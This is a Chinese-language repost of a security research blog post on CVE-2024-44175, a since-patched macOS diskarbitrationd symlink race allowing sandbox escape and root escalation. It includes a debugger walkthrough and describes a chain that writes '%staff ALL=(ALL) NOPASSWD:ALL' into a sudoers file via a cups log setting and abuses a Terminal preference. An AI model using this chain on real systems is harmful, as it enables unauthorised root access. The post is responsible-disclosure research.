Uncovering Apple Vulnerabilities The diskarbitrationd and storagekitd Audit Story Part 1
Kandji 团队始终关注如何帮助保护您的设备安全。为此,我们的威胁研究团队对 macOS 的 **diskarbitrationd**
和 **storagekitd**
系统守护进程进行了审计,发现了多个漏洞,例如沙箱逃逸、本地权限提升和 TCC 绕过。我们的团队通过苹果的负责任披露计划将所有这些漏洞报告给了苹果,随着这些问题的修复,我们现在发布详细信息。
这是三部分博客系列的第一部分,在每一部分中,我们将回顾一个漏洞,如何被利用,最后,苹果是如何修复它的。我们还在 POC 2024 和 Black Hat Europe 2024 IT 安全会议上展示了这些发现。了解这些背景后,让我们深入探讨。
介绍
**diskarbitrationd**
进程在过去多次被利用,我之前已经发现了这个守护进程中的许多漏洞。我在 MacSysAdmin 2024 和 Hacktivity 2024 会议上讲述了这些漏洞的“macOS 磁盘仲裁漏洞历史”。自那时以来,我在 macOS 上学到了新的技巧和技术,因此我认为这个守护进程值得再次审视,因为可能还有遗留问题。
在本系列的第一部分中,我将介绍 CVE-2024-44175,该漏洞允许攻击者从低权限用户逃逸应用程序沙箱,并提升其权限到 root。让我们开始审查这个漏洞。
漏洞
**diskarbitrationd**
支持两种不同的文件系统类型;一种是在内核中实现的,如 APFS 或 HFS+,另一种是在用户模式下实现的,称为用户文件系统(UserFS),FAT 文件系统就是一个很好的例子。该漏洞存在于对 UserFS 文件系统的处理过程中。
当磁盘仲裁守护进程准备挂载设备时,在 **DAFileSystemMountWithArguments**
函数中,首先检查我们尝试挂载的文件系统是否具有 UserFS 实现。这在下面显示。
void DAFileSystemMountWithArguments( DAFileSystemRef filesystem,
CFURLRef device,
CFStringRef volumeName,
CFURLRef mountpoint,
uid_t userUID,
gid_t userGID,
CFStringRef preferredMountMethod,
DAFileSystemCallback callback,
void * callbackContext,
... )
{
/*
* Check for UserFS mount support. If the FS bundle supports UserFS and the preference is enabled
* Use UserFS APIs to do the mount instead of mount command.
*/
fsImplementation = CFDictionaryGetValue( filesystem->_properties, CFSTR( "FSImplementation" ) );
if ( fsImplementation != NULL )
{
Boolean useKext = FALSE;
if (CFGetTypeID(fsImplementation) == CFArrayGetTypeID() )
{
/*
* Choose the first listed FSImplementation item as the default mount option
*/
CFStringRef firstSupportedFS = CFArrayGetValueAtIndex( fsImplementation, 0 );
if ( firstSupportedFS != NULL )
{
if (CFStringCompare( CFSTR("UserFS"), firstSupportedFS, kCFCompareCaseInsensitive ) == 0)
{
useUserFS = TRUE;
}
}
/*
* If userfs is specified as the preferred mount option, then use UserFS to mount if it is supported.
*/
if ( preferredMountMethod != NULL )
{
if ( useUserFS == FALSE )
{
if ( ( CFStringCompare( CFSTR("UserFS"), preferredMountMethod, kCFCompareCaseInsensitive ) == 0) &&
( ___CFArrayContainsString( fsImplementation, CFSTR("UserFS") ) == TRUE ) )
{
useUserFS = TRUE;
}
}
else
{
if ( ( CFStringCompare( CFSTR("kext"), preferredMountMethod, kCFCompareCaseInsensitive ) == 0 ) &&
( ___CFArrayContainsString( fsImplementation, CFSTR("kext") ) == TRUE ) )
{
useUserFS = FALSE;
}
}
}
}
}
在这里,我们进行了一系列检查,以确定文件系统类型是否支持 UserFS,如果支持,则 **useUserFS**
变量将被设置为 **TRUE**
。在同一函数的后续部分,将检查该变量,接下来发生的事情将与基于 KEXT 的文件系统有很大不同。
对于基于 KEXT 的文件系统,守护进程将调用外部的 mount 命令,传递所有参数和选项,并附加 **-k**
,该选项将强制挂载操作不跟随路径中的任何符号链接,并在发现符号链接时失败。此选项是强制执行的,旨在防止之前未发现的漏洞。
然而,在 UserFS 的情况下,并没有执行这种强制,如下面的代码片段所示。
if ( useUserFS )
{
CFArrayRef argumentList;
// Retrive the device name in diskXsY format (without "/dev/" ).
argumentList = CFStringCreateArrayBySeparatingStrings( kCFAllocatorDefault, devicePath, CFSTR( "/" ) );
if ( argumentList )
{
CFStringRef dev = CFArrayGetValueAtIndex( argumentList, CFArrayGetCount( argumentList ) - 1 );
context->deviceName = CFRetain(dev);
context->fileSystem = CFRetain( DAFileSystemGetKind( filesystem ));
if ( mountpointPath )
{
context->mountPoint = CFRetain( mountpointPath );
}
else
{
context->mountPoint = NULL;
}
if ( volumeName )
{
context->volumeName = CFRetain( volumeName );
}
else
{
context->volumeName = CFSTR( "Untitled" );
}
if ( CFStringGetLength( options ))
{
context->mountOptions = CFRetain( options );
} else
{
context->mountOptions = NULL;
}
DAThreadExecute(__DAMountUserFSVolume, context, __DAMountUserFSVolumeCallback, context);
CFRelease( argumentList );
}
else
{
status = EINVAL;
}
goto DAFileSystemMountErr;
}
在这里,守护进程填充所有挂载选项、参数和其他属性,并通过 **DAThreadExecute**
实际调用 **__DAMountUserFSVolume**
函数。请注意,仅传递已经存在的选项,并且不强制执行 **-k**
。
此外,当通过 API 调用 **fskitd**
时,用户 ID(或磁盘所有者 ID,例如在 KEXT 文件系统的情况下)并未被传递。
returnValue = [FSKitDiskArbHelper DAMountUserFSVolume:fsType
deviceName:deviceName
mountPoint:mountpoint
volumeName:volumeName
mountOptions:mountOptions];
我们可以通过运行进程监视器来查看缺失的选项。下面是执行的挂载命令的截图。
本质上,diskarbitrationd
调用 **fskitd**
,后者执行实际文件系统的相关 **mount**
命令,在这种情况下是 **mount_lifs**
。我们可以看到 **nofollow/-k**
选项不存在。另一个问题是 **mount_lifs**
无论调用者是谁,都是以 root 身份执行的。
调用流程的差异在下面的高层图示中总结。
这是一个问题,因为 **diskarbitrationd**
只有一个点来验证挂载点,以防止沙箱逃逸和特权升级场景,这发生在初始的 **_DAServerSessionQueueRequest**
函数中。如下所示。
kern_return_t _DAServerSessionQueueRequest( mach_port_t _session,
...
if ( path )
{
status = sandbox_check_by_audit_token(_token, "file-mount", SANDBOX_FILTER_PATH | SANDBOX_CHECK_ALLOW_APPROVAL, path);
if ( status )
{
status = kDAReturnNotPrivileged;
}
free( path );
}
...
if ( audit_token_to_euid( _token ) )
{
if ( audit_token_to_euid( _token ) != DADiskGetUserUID( disk ) )
{
status = kDAReturnNotPrivileged;
}
}
由于路径在后续未被验证,这就是一个经典的检查类型与使用类型(TOCTOU)漏洞,我们可以通过符号链接绕过这两个检查。一旦路径被验证,我们可以用符号链接替换它,指向另一个位置,并在我们希望的任何目录上进行挂载,因为**fskitd**
以 root 身份运行,当它调用**mount**
时,将以相同的高权限级别运行。这甚至可以在沙箱中工作。
下面的流程图总结了这一点。
在这里我们可以看到,一旦我们通过了**diskarbitrationd**
中的检查,我们就可以将我们的符号链接指向其他地方,并利用它进行沙箱逃逸或特权升级。
接下来,我们将使用调试器演示这一点。
使用调试器进行利用
首先,我们创建一个合适的 DMG。我们将使用 FAT 作为文件系统,因为它有 UserFS 实现。
tree@forest ~ % hdiutil create -fs "MS-DOS" -size 10MB -volname disk dos.dmg
created: /Users/tree/dos.dmg
我们将调试器附加到 diskarbitrationd
,并在 sandbox_check_by_audit_token
上设置一个断点,该函数负责检查沙箱是否允许某个进程进行挂载操作。
(lldb) process attach --name "diskarbitrationd"
Process 113 stopped
* thread #1, stop reason = signal SIGSTOP
frame #0: 0x000000019e3b3564 libsystem_kernel.dylib`__sigsuspend_nocancel + 8
libsystem_kernel.dylib`__sigsuspend_nocancel:
-> 0x19e3b3564 <+8>: b.lo 0x19e3b3584 ; <+40>
0x19e3b3568 <+12>: pacibsp
0x19e3b356c <+16>: stp x29, x30, [sp, #-0x10]!
0x19e3b3570 <+20>: mov x29, sp
Target 0: (diskarbitrationd) stopped.
Executable module set to "/usr/libexec/diskarbitrationd".
Architecture set to: arm64e-apple-macosx-.
(lldb) b sandbox_check_by_audit_token
Breakpoint 2: where = libsystem_sandbox.dylib`sandbox_check_by_audit_token, address = 0x00000001aa59bc50
(lldb) c
Process 113 resuming
在另一个窗口中,我们开始挂载过程。
tree@forest ~ % mkdir mnt
tree@forest ~ % open dos.dmg
tree@forest ~ % umount /Volumes/DISK
tree@forest ~ % diskutil list
...
/dev/disk5 (disk image):
#: TYPE NAME SIZE IDENTIFIER
0: FDisk_partition_scheme +10.5 MB disk5
1: DOS_FAT_32 DISK 10.5 MB disk5s1
tree@forest ~ % hdiutil attach -mountpoint mnt /dev/disk5s1
首先,我们创建一个目录 "mnt
",作为挂载点,然后打开 DMG 文件并卸载它,以便我们可以使用 **diskarbitrationd**
进行操作。最后,我们将尝试在 **mnt**
上挂载该设备,具体为 **disk5s1**
。
在此阶段,我们将触发断点。
Process 113 stopped
* thread #3, queue = 'DAServer', stop reason = breakpoint 2.1
frame #0: 0x00000001aa59bc50 libsystem_sandbox.dylib`sandbox_check_by_audit_token
libsystem_sandbox.dylib`sandbox_check_by_audit_token:
-> 0x1aa59bc50 <+0>: pacibsp
0x1aa59bc54 <+4>: sub sp, sp, #0xb0
0x1aa59bc58 <+8>: stp x20, x19, [sp, #0x90]
0x1aa59bc5c <+12>: stp x29, x30, [sp, #0xa0]
Target 0: (diskarbitrationd) stopped.
(lldb) finish
Process 113 stopped
* thread #3, queue = 'DAServer', stop reason = step out
frame #0: 0x00000001005463b8 diskarbitrationd`___lldb_unnamed_symbol712 + 1488
diskarbitrationd`___lldb_unnamed_symbol712:
-> 0x1005463b8 <+1488>: mov w8, #0x9 ; =9
0x1005463bc <+1492>: movk w8, #0xf8da, lsl #16
0x1005463c0 <+1496>: str x8, [sp, #0x30]
0x1005463c4 <+1500>: mov x20, x19
Target 0: (diskarbitrationd) stopped.
(lldb) b CFRelease
Breakpoint 3: where = CoreFoundation`CFRelease, address = 0x000000019e462edc
(lldb) c
Process 113 resuming
Process 113 stopped
* thread #3, queue = 'DAServer', stop reason = breakpoint 3.1
frame #0: 0x000000019e462edc CoreFoundation`CFRelease
CoreFoundation`CFRelease:
-> 0x19e462edc <+0>: pacibsp
0x19e462ee0 <+4>: stp x20, x19, [sp, #-0x20]!
0x19e462ee4 <+8>: stp x29, x30, [sp, #0x10]
0x19e462ee8 <+12>: add x29, sp, #0x10
Target 0: (diskarbitrationd) stopped.
(lldb) finish
我们继续到下一个 **CFRelease**
,它位于沙箱和权限检查的末尾。此时,我们已经通过了守护进程的所有验证,因此我们可以用指向根用户拥有的位置的符号链接替换我们的目录;在这里我们将使用 **/etc/cups**
。
tree@forest ~ % rm -rf mnt
tree@forest ~ % ln -s /etc/cups/ mnt
然后我们禁用断点,让 diskarbitrationd
继续运行。
(lldb) breakpoint disable
All breakpoints disabled. (2 breakpoints)
(lldb) c
Process 113 resuming
最终,我们的磁盘映像被挂载到 **/etc/cups**
上,该目录归根用户所有。
tree@forest ~ % mount
/dev/disk4s1s1 on / (apfs, sealed, local, read-only, journaled)
devfs on /dev (devfs, local, nobrowse)
...
/dev/disk5s1 on /private/etc/cups (msdos, local, nodev, nosuid, noowners, noatime, fskit)
我们证明了可以在任何目录上进行挂载。接下来,让我们探讨如何将其转化为实际的利用。
武器化
要实现本地权限提升(LPE),流程有些复杂。如下所示,后面会有详细解释。
我们在之前讨论的 **/etc/cups**
目录上进行挂载,并放置一个自定义的 **cups-files.conf**
文件。该文件包含 **cupsd**
守护进程的配置选项,**cupsd**
是打印服务。该文件有两个选项,**ErrorLog**
和 **LogFilePerm**
,前者设置日志文件的位置,我们将其设置为 **/etc/sudoers.d/lpe**
,后者设置日志文件的权限,在这种情况下为 **777**
,使其可被所有用户写入。我们还在文件中添加了一些无用的行,以触发错误日志的创建。
我们可以运行 **cupsctl**
来触发日志的创建。然后,我们将 **"****%staff ALL=(ALL) NOPASSWD:ALL"**
插入到创建的 **sudoers**
文件中,这意味着 staff 组中的每个用户都可以在不输入密码的情况下提升其权限到 root。我们还将 **LogFilePerm**
更改为 **700**
,因为这是 sudo 使用创建的文件所需的权限。
我们再次调用 **cupsctl**
,这将重置权限。此时,我们可以运行 sudo,并将提升到 root 权限。
将任意挂载操作转化为沙箱逃逸可以通过以下方式实现,如下所示。
我们在磁盘映像中植入一个 **Terminal**
偏好文件,其中包含 **CommandString**
配置选项。这里设置的命令将在 Terminal 启动时执行。为了将其与 LPE 链接,我们还放置了我们的 LPE shell 脚本,并将其设置为命令字符串。通过在用户的 **Preferences**
目录上挂载磁盘,然后打开 Terminal,我们可以实现沙箱外的代码执行,因为 Terminal 并不在沙箱中运行。Terminal 将执行我们的脚本,最终实现 LPE。
苹果的修复
苹果在 macOS Sequoia 15.1 beta 2 中迅速修复了此问题。现在 **mount**
调用使用 **nofollow**
选项,如下所示。
/sbin/mount_lifs -v -o rsize=524288,wsize=65536,readahead=4,dsize=65536,actimeo=10,nodev,noowners,nosuid,nofollow,noatime,fh=05000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 :/ /Users/tree/mnt
如果我们检查源代码,就会发现现在始终在调用中添加了 nofollow 选项。
if ( useUserFS )
{
...
CFStringAppend( options, CFSTR( "," ) );
CFStringAppend( options, kDAFileSystemMountArgumentNoFollow );
...
}
此外,他们还确保 fskitd
拥有原始请求者的用户 ID,从而可以验证用户是否具有权限。
token = [FSAuditToken new];
token = [token tokenWithRuid:gDAConsoleUserUID];
returnValue = [FSKitDiskArbHelper DAMountUserFSVolume:fsType
deviceName:deviceName
mountPoint:mountpoint
volumeName:volumeName
auditToken:token.audit_token
mountOptions:mountOptions];
结论
在这篇博客文章中,我们讨论了一个漏洞,该漏洞影响了 **diskarbitrationd**
系统守护进程,使我们能够逃离沙箱或提升权限。我们可以利用符号链接将以 root 身份执行的挂载操作重定向到我们选择的位置,从而实现我们的目标。苹果通过强制要求挂载调用所使用的路径不能包含符号链接,并确保 **fskitd**
知道调用用户来修复此问题。
在本系列的第二部分中,我们将回顾对同一系统守护进程的目录遍历攻击。敬请关注。
原文始发于微信公众号(securitainment):苹果漏洞揭秘:审计 diskarbitrationd 和 storagekitd 的故事
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论